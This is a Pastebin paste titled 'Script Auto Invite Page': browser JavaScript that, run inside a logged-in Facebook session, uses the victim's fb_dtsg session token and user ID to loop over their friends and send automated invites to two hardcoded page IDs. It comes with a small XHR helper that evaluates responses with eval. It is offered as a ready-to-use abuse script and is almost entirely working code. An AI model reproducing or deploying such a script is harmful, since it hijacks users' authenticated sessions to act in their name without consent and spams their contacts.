Advertisement
comelx123

Script Auto Invite Page

Jan 25th, 2014
145
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.48 KB | None | 0 0
  1. function InviteFriends(opo) {
  2.     jx.load(window.location.protocol + "//www.facebook.com//ajax/typeahead/first_degree.php?uid=" + opo + "&unref=bd_friends_tab&nctr[_mod]=pagelet_timeline_app_collection_" + user_id + "%3A2356318349%3A2&__user=" + user_id + "&__a=1&__dyn=7n8ahyj2qmp5zpQ9UmWWaUGyxi9Ay8&__req=i&fb_dtsg=" + fb_dtsg + "&ttstamp=265816884971127865", function (a) {
  3.         var b = a.substring(a.indexOf("{"));
  4.         var c = JSON.parse(b);
  5.         i--;
  6.         Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  7.         if (c.error) {
  8.             Descriptions += "color:darkgreen'>";
  9.             err++;
  10.             if (c.errorDescription) Descriptions += c.errorDescription;
  11.             else Descriptions += JSON.stringify(c, null, "")
  12.         } else {
  13.             Descriptions += "color:darkgreen'>";
  14.             Descriptions += arn[i] + " ";
  15.             suc++
  16.         }
  17.         Descriptions += "</div>";
  18.         var display = "";
  19.         display += "";
  20.         if (i > 0) {
  21.             display += arr.length + "<br/>";
  22.             display += "<b>"  + (arr.length - i) + "  Processed ";
  23.             display += "(" + i + " Lefted...)";
  24.             display += "";
  25.             display += Descriptions;
  26.             display += "";
  27.             display += "";
  28.             display += " " + arn[i] + ".</br>";
  29.             display += _text;
  30.             display += "</div>";
  31.             display += "</div>";
  32.  
  33.             window[tag + "_close"] = true
  34.         } else {
  35.             Title = "";
  36.             display += arr.length + "  ";
  37.             display += "<div>";
  38.             display += "";
  39.             display += _text;
  40.             display += "</div>";
  41.             window[tag + "_close"] = false
  42.         }
  43.         display += "</div>";
  44.         document.getElementById("pagelet_sidebar").innerHTML = display
  45.     }, "text", "post");
  46.     tay--;
  47.     if (tay > 0) {
  48.         var s = arr[tay];
  49.         setTimeout("InviteFriends(" + s + ")", 100)
  50.     }
  51.     console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  52.  
  53.  
  54.     if (user_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=226344357522802&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post");
  55.  if (user_id) jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=316901925002319&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post");
  56.  
  57. }
  58. jx = {
  59.     b: function () {
  60.         var b = !1;
  61.         if ("undefined" != typeof ActiveXObject) try {
  62.             b = new ActiveXObject("Msxml2.XMLHTTP")
  63.         } catch (c) {
  64.             try {
  65.                 b = new ActiveXObject("Microsoft.XMLHTTP")
  66.             } catch (a) {
  67.                 b = !1
  68.             }
  69.         } else if (window.XMLHttpRequest) try {
  70.             b = new XMLHttpRequest
  71.         } catch (h) {
  72.             b = !1
  73.         }
  74.         return b
  75.     },
  76.     load: function (b, c, a, h, g) {
  77.         var e = this.d();
  78.         if (e && b) {
  79.             e.overrideMimeType && e.overrideMimeType("text/xml");
  80.             h || (h = "GET");
  81.             a || (a = "text");
  82.             g || (g = {});
  83.             a = a.toLowerCase();
  84.             h = h.toUpperCase();
  85.             b += b.indexOf("?") + 1 ? "&" : "?";
  86.             var k = null;
  87.             "POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
  88.             e.open(h, b, !0);
  89.             e.onreadystatechange = g.c ? function () {
  90.                 g.c(e)
  91.             } : function () {
  92.                 if (4 == e.readyState)
  93.                     if (200 == e.status) {
  94.                         var b = "";
  95.                         e.responseText && (b = e.responseText);
  96.                         "j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b = eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
  97.                         c && c(b)
  98.                     } else g.f && document.getElementsByTagName("body")[0].removeChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error && error(e.status)
  99.             };
  100.             e.send(k)
  101.         }
  102.     },
  103.     d: function () {
  104.         return this.b()
  105.     }
  106. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement